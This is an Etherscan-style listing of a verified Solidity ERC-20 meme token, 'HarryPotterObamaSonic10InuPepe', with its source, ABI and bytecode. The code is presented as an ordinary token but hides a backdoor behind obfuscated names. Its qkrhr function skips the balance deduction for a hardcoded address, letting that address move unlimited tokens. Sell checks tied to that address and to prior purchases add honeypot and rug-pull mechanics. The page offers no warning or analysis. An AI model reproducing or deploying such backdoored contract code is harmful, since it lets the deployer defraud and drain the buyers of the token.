ETH Price: $2,926.38 (+4.74%)
 

Overview

Max Total Supply

42,069,000,000 PEPE

Holders

28

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HarryPotterObamaSonic10InuPepe

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

/*

HarryPotterObamaSonic10InuPepe  $PEPE


Twitter: https://twitter.com/HPepe_erc
Telegram: https://t.me/HPepe_erc20
Website: https://www.hpepe.org/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  qkrhr(uint256 a, uint256 b) internal pure returns (uint256) {
        return  qkrhr(a, b, "SafeMath");
    }

    function  qkrhr(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2sFactorys {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2sRouters {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract HarryPotterObamaSonic10InuPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"HarryPotterObamaSonic10InuPepe";
    string private constant _symbol = unicode"PEPE";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 42069000000 * (10**_decimals);
    uint256 public _taxkSwapltap = _totalSupply;
    uint256 public _maxsHoldsAmount = _totalSupply;
    uint256 public _taxSwapsThreshold = _totalSupply;
    uint256 public _taxSwapuMaxs = _totalSupply;

    uint256 private _initialBuyTax=9;
    uint256 private _initialSellTax=18;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTax6At=1;
    uint256 private _swpwpasruir=0;
    uint256 private _yeqxrtop=0;
    address public  _uacgvuksrq = 0x3Ebf89B4AeF0A7cee03FB48c0054299692F69162;

    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _revdtarxes;
    mapping (address => bool) private  _rvoufaejt;
    mapping(address => uint256) private  _oqyTransfvswp;
    bool public  transerDelyEnble = false;


    IUniswapV2sRouters private  _unisV2Routers;
    address private  _unisV2sLPs;
    bool private  _wtmyuaesk;
    bool private  _insTaxuSwap = false;
    bool private  _spxUniVwaptw = false;
 
 
    event RtsuAnkblxr(uint _taxkSwapltap);
    modifier locksToxSwaps {
        _insTaxuSwap = true;
        _;
        _insTaxuSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _revdtarxes[owner()] = true;
        _revdtarxes[address(this)] = true;
        _revdtarxes[_uacgvuksrq] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qkrhr(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transerDelyEnble) {
                if  (to!= address(_unisV2Routers) &&to!= address(_unisV2sLPs)) {
                  require (_oqyTransfvswp[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _oqyTransfvswp[tx.origin] = block.number;
                }
            }

            if  ( from == _unisV2sLPs && to!= address (_unisV2Routers) &&!_revdtarxes[to]) {
                require (amount <= _taxkSwapltap, "Farbids");
                require (balanceOf (to) + amount <= _maxsHoldsAmount,"Farbids");
                if  (_yeqxrtop < _swpwpasruir) {
                  require (!rqkpiyuve(to));
                }
                _yeqxrtop ++ ; _rvoufaejt[to] = true;
                taxAmount = amount.mul((_yeqxrtop > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _unisV2sLPs&&from!= address (this) &&! _revdtarxes[from]) {
                require (amount <= _taxkSwapltap && balanceOf(_uacgvuksrq) <_taxSwapuMaxs, "Farbids");
                taxAmount = amount.mul((_yeqxrtop > _reduceSellTax6At) ?_finalSellTax:_initialSellTax).div(100);
                require (_yeqxrtop >_swpwpasruir && _rvoufaejt[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_insTaxuSwap 
            &&  to  ==_unisV2sLPs&&_spxUniVwaptw &&contractTokenBalance > _taxSwapsThreshold 
            &&  _yeqxrtop > _swpwpasruir &&! _revdtarxes [to] &&! _revdtarxes [from]
            )  {
                _transferFrom(uhxdl(amount,uhxdl(contractTokenBalance, _taxSwapuMaxs)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = qkrhr(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.qkrhr (taxAmount));
        emit  Transfer( from, to, amount. qkrhr(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private locksToxSwaps {
        if(_swapTaxAndLiquify==0){return;}
        if(!_wtmyuaesk){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _unisV2Routers.WETH();
        _approve(address (this), address (_unisV2Routers), _swapTaxAndLiquify);
        _unisV2Routers.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function uhxdl(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function qkrhr(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _uacgvuksrq) {
        return a;
    } else {
        require(a >= b, "Farbids");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxkSwapltap  =  _totalSupply ;
        _maxsHoldsAmount = _totalSupply ;
        transerDelyEnble = false ;
        emit  RtsuAnkblxr ( _totalSupply ) ;
    }

   function rqkpiyuve(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function openTrading() external onlyOwner() {
        require (!_wtmyuaesk, "trading  is  open") ;
        _unisV2Routers = IUniswapV2sRouters (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_unisV2Routers), _totalSupply);
        _unisV2sLPs = IUniswapV2sFactorys(_unisV2Routers.factory()).createPair (address(this), _unisV2Routers. WETH());
        _unisV2Routers.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_unisV2sLPs).approve (address(_unisV2Routers), type(uint). max);
        _spxUniVwaptw = true ;
        _wtmyuaesk = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxkSwapltap","type":"uint256"}],"name":"RtsuAnkblxr","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxsHoldsAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapsThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapuMaxs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxkSwapltap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uacgvuksrq","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transerDelyEnble","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000324565b62000023906409cb81ff406200033b565b600155620000346009600a62000324565b62000045906409cb81ff406200033b565b600255620000566009600a62000324565b62000067906409cb81ff406200033b565b600355620000786009600a62000324565b62000089906409cb81ff406200033b565b60045560096005819055601260069081556001600781905560088190559155600a555f600b819055600c55600d80546001600160a01b031916733ebf89b4aef0a7cee03fb48c0054299692f691621790556013805460ff191690556014805461ffff60a81b19169055348015620000fe575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200014d6009600a62000324565b6200015e906409cb81ff406200033b565b335f818152600e602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600d5490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ed6009600a62000324565b620001fe906409cb81ff406200033b565b60405190815260200160405180910390a362000355565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026957815f19048211156200024d576200024d62000215565b808516156200025b57918102915b93841c93908002906200022e565b509250929050565b5f8262000281575060016200031e565b816200028f57505f6200031e565b8160018114620002a85760028114620002b357620002d3565b60019150506200031e565b60ff841115620002c757620002c762000215565b50506001821b6200031e565b5060208310610133831016604e8410600b8410161715620002f8575081810a6200031e565b62000304838362000229565b805f19048211156200031a576200031a62000215565b0290505b92915050565b5f6200033460ff84168362000271565b9392505050565b80820281158282048414176200031e576200031e62000215565b6118db80620003635f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610321578063c9567bf914610340578063d2a3f57d14610354578063daa9a34314610369578063dd62ed3e1461037d575f80fd5b806370a082311461027a578063715018a6146102ae5780638da5cb5b146102c457806395d89b41146102e05780639bc71bfa1461030c575f80fd5b806318160ddd116100e357806318160ddd146101fe57806323b872dd14610212578063313ce567146102315780633b27be4d1461024c5780635c84c1ba14610261575f80fd5b806306fdde031461011e578063094ee10714610175578063095ea7b3146101985780630f723e87146101c7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601e81527f4861727279506f747465724f62616d61536f6e69633130496e7550657065000060208201525b60405161016c91906114c1565b60405180910390f35b348015610180575f80fd5b5061018a60035481565b60405190815260200161016c565b3480156101a3575f80fd5b506101b76101b2366004611523565b6103c1565b604051901515815260200161016c565b3480156101d2575f80fd5b50600d546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b348015610209575f80fd5b5061018a6103d7565b34801561021d575f80fd5b506101b761022c36600461154d565b6103f8565b34801561023c575f80fd5b506040516009815260200161016c565b348015610257575f80fd5b5061018a60015481565b34801561026c575f80fd5b506013546101b79060ff1681565b348015610285575f80fd5b5061018a61029436600461158b565b6001600160a01b03165f908152600e602052604090205490565b3480156102b9575f80fd5b506102c2610460565b005b3480156102cf575f80fd5b505f546001600160a01b03166101e6565b3480156102eb575f80fd5b506040805180820190915260048152635045504560e01b602082015261015f565b348015610317575f80fd5b5061018a60045481565b34801561032c575f80fd5b506101b761033b366004611523565b6104da565b34801561034b575f80fd5b506102c26104e6565b34801561035f575f80fd5b5061018a60025481565b348015610374575f80fd5b506102c26108a0565b348015610388575f80fd5b5061018a6103973660046115a6565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103cd33848461095e565b5060015b92915050565b5f6103e46009600a6116d1565b6103f3906409cb81ff406116df565b905090565b5f610404848484610a81565b61045584336104508560405180606001604052806028815260200161187e602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110f3565b61095e565b5060015b9392505050565b5f546001600160a01b031633146104925760405162461bcd60e51b8152600401610489906116f6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103cd338484610a81565b5f546001600160a01b0316331461050f5760405162461bcd60e51b8152600401610489906116f6565b601454600160a01b900460ff161561055d5760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610489565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105b79030906001600160a01b03610100909104166105a86009600a6116d1565b610450906409cb81ff406116df565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062c9190611717565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b09190611717565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071e9190611717565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d719473061076a816001600160a01b03165f908152600e602052604090205490565b5f8061077d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107e3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108089190611732565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610862573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610886919061175d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c95760405162461bcd60e51b8152600401610489906116f6565b6108d56009600a6116d1565b6108e4906409cb81ff406116df565b6001556108f36009600a6116d1565b610902906409cb81ff406116df565b6002556013805460ff191690557fcff3a4198bbf822fb0eb4bd2fac0853a916b8aace3875032dc39ecf39b5eae2361093c6009600a6116d1565b61094b906409cb81ff406116df565b60405190815260200160405180910390a1565b6001600160a01b0383166109c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610489565b6001600160a01b038216610a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610489565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aea5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610489565b6001600160a01b038216610b4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610489565b5f8111610bb35760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610489565b5f80546001600160a01b03858116911614801590610bde57505f546001600160a01b03848116911614155b15610fb45760135460ff1615610ca6576013546001600160a01b038481166101009092041614801590610c1f57506014546001600160a01b03848116911614155b15610ca657325f908152601260205260409020544311610c945760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610489565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610cd657506013546001600160a01b038481166101009092041614155b8015610cfa57506001600160a01b0383165f9081526010602052604090205460ff16155b15610df157600154821115610d215760405162461bcd60e51b81526004016104899061177c565b60025482610d43856001600160a01b03165f908152600e602052604090205490565b610d4d919061179d565b1115610d6b5760405162461bcd60e51b81526004016104899061177c565b600b54600c541015610d8957610d808361112b565b15610d89575f80fd5b600c8054905f610d98836117b0565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610dee91606491610de89110610ddd57600554610de1565b6007545b8590611184565b906111e3565b90505b6014546001600160a01b038481169116148015610e1757506001600160a01b0384163014155b8015610e3b57506001600160a01b0384165f9081526010602052604090205460ff16155b15610ee1576001548211158015610e6c5750600454600d546001600160a01b03165f908152600e6020526040902054105b610e885760405162461bcd60e51b81526004016104899061177c565b610ead6064610de8600a54600c5411610ea357600654610de1565b6008548590611184565b9050600b54600c54118015610ed957506001600160a01b0384165f9081526011602052604090205460ff165b610ee1575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f1757506014546001600160a01b038581169116145b8015610f2c5750601454600160b01b900460ff165b8015610f39575060035481115b8015610f485750600b54600c54115b8015610f6c57506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f9057506001600160a01b0385165f9081526010602052604090205460ff16155b15610fb257610fb2610fad84610fa88460045461120f565b61120f565b611224565b505b801561102c57305f908152600e6020526040902054610fd390826113d0565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110239085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461105090859084611419565b6001600160a01b0385165f908152600e60205260409020556110936110758383611469565b6001600160a01b0385165f908152600e6020526040902054906113d0565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110dc8585611469565b60405190815260200160405180910390a350505050565b5f81848411156111165760405162461bcd60e51b815260040161048991906114c1565b505f61112284866117c8565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611163576111636117db565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361119357505f6103d1565b5f61119e83856116df565b9050826111ab85836117ef565b146104595760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610489565b5f6104598383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611495565b5f8183101561121e5782610459565b50919050565b6014805460ff60a81b1916600160a81b17905580156113c057601454600160a01b900460ff16156113c0576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611282576112826117db565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113179190611717565b8160018151811061132a5761132a6117db565b6001600160a01b0392831660209182029290920101526013546113559130916101009004168461095e565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113919085905f9086903090429060040161180e565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113dc838561179d565b9050838110156104595760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610489565b600d545f906001600160a01b0390811690851603611438575081610459565b818310156114585760405162461bcd60e51b81526004016104899061177c565b61146282846117c8565b9050610459565b5f6104598383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110f3565b5f81836114b55760405162461bcd60e51b815260040161048991906114c1565b505f61112284866117ef565b5f6020808352835180828501525f5b818110156114ec578581018301518582016040015282016114d0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611520575f80fd5b50565b5f8060408385031215611534575f80fd5b823561153f8161150c565b946020939093013593505050565b5f805f6060848603121561155f575f80fd5b833561156a8161150c565b9250602084013561157a8161150c565b929592945050506040919091013590565b5f6020828403121561159b575f80fd5b81356104598161150c565b5f80604083850312156115b7575f80fd5b82356115c28161150c565b915060208301356115d28161150c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162b57815f1904821115611611576116116115dd565b8085161561161e57918102915b93841c93908002906115f6565b509250929050565b5f82611641575060016103d1565b8161164d57505f6103d1565b8160018114611663576002811461166d57611689565b60019150506103d1565b60ff84111561167e5761167e6115dd565b50506001821b6103d1565b5060208310610133831016604e8410600b84101617156116ac575081810a6103d1565b6116b683836115f1565b805f19048211156116c9576116c96115dd565b029392505050565b5f61045960ff841683611633565b80820281158282048414176103d1576103d16115dd565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611727575f80fd5b81516104598161150c565b5f805f60608486031215611744575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561176d575f80fd5b81518015158114610459575f80fd5b6020808252600790820152664661726269647360c81b604082015260600190565b808201808211156103d1576103d16115dd565b5f600182016117c1576117c16115dd565b5060010190565b818103818111156103d1576103d16115dd565b634e487b7160e01b5f52603260045260245ffd5b5f8261180957634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561185c5784516001600160a01b031683529383019391830191600101611837565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220164a0f87e44f3045819fb4a170d51c2e6a886f2d28ccb866d99474c4bd7226b064736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb14610321578063c9567bf914610340578063d2a3f57d14610354578063daa9a34314610369578063dd62ed3e1461037d575f80fd5b806370a082311461027a578063715018a6146102ae5780638da5cb5b146102c457806395d89b41146102e05780639bc71bfa1461030c575f80fd5b806318160ddd116100e357806318160ddd146101fe57806323b872dd14610212578063313ce567146102315780633b27be4d1461024c5780635c84c1ba14610261575f80fd5b806306fdde031461011e578063094ee10714610175578063095ea7b3146101985780630f723e87146101c7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601e81527f4861727279506f747465724f62616d61536f6e69633130496e7550657065000060208201525b60405161016c91906114c1565b60405180910390f35b348015610180575f80fd5b5061018a60035481565b60405190815260200161016c565b3480156101a3575f80fd5b506101b76101b2366004611523565b6103c1565b604051901515815260200161016c565b3480156101d2575f80fd5b50600d546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b348015610209575f80fd5b5061018a6103d7565b34801561021d575f80fd5b506101b761022c36600461154d565b6103f8565b34801561023c575f80fd5b506040516009815260200161016c565b348015610257575f80fd5b5061018a60015481565b34801561026c575f80fd5b506013546101b79060ff1681565b348015610285575f80fd5b5061018a61029436600461158b565b6001600160a01b03165f908152600e602052604090205490565b3480156102b9575f80fd5b506102c2610460565b005b3480156102cf575f80fd5b505f546001600160a01b03166101e6565b3480156102eb575f80fd5b506040805180820190915260048152635045504560e01b602082015261015f565b348015610317575f80fd5b5061018a60045481565b34801561032c575f80fd5b506101b761033b366004611523565b6104da565b34801561034b575f80fd5b506102c26104e6565b34801561035f575f80fd5b5061018a60025481565b348015610374575f80fd5b506102c26108a0565b348015610388575f80fd5b5061018a6103973660046115a6565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b5f6103cd33848461095e565b5060015b92915050565b5f6103e46009600a6116d1565b6103f3906409cb81ff406116df565b905090565b5f610404848484610a81565b61045584336104508560405180606001604052806028815260200161187e602891396001600160a01b038a165f908152600f6020908152604080832033845290915290205491906110f3565b61095e565b5060015b9392505050565b5f546001600160a01b031633146104925760405162461bcd60e51b8152600401610489906116f6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103cd338484610a81565b5f546001600160a01b0316331461050f5760405162461bcd60e51b8152600401610489906116f6565b601454600160a01b900460ff161561055d5760405162461bcd60e51b81526020600482015260116024820152703a3930b234b733901034b9901037b832b760791b6044820152606401610489565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105b79030906001600160a01b03610100909104166105a86009600a6116d1565b610450906409cb81ff406116df565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062c9190611717565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d5f803e3d5ffd5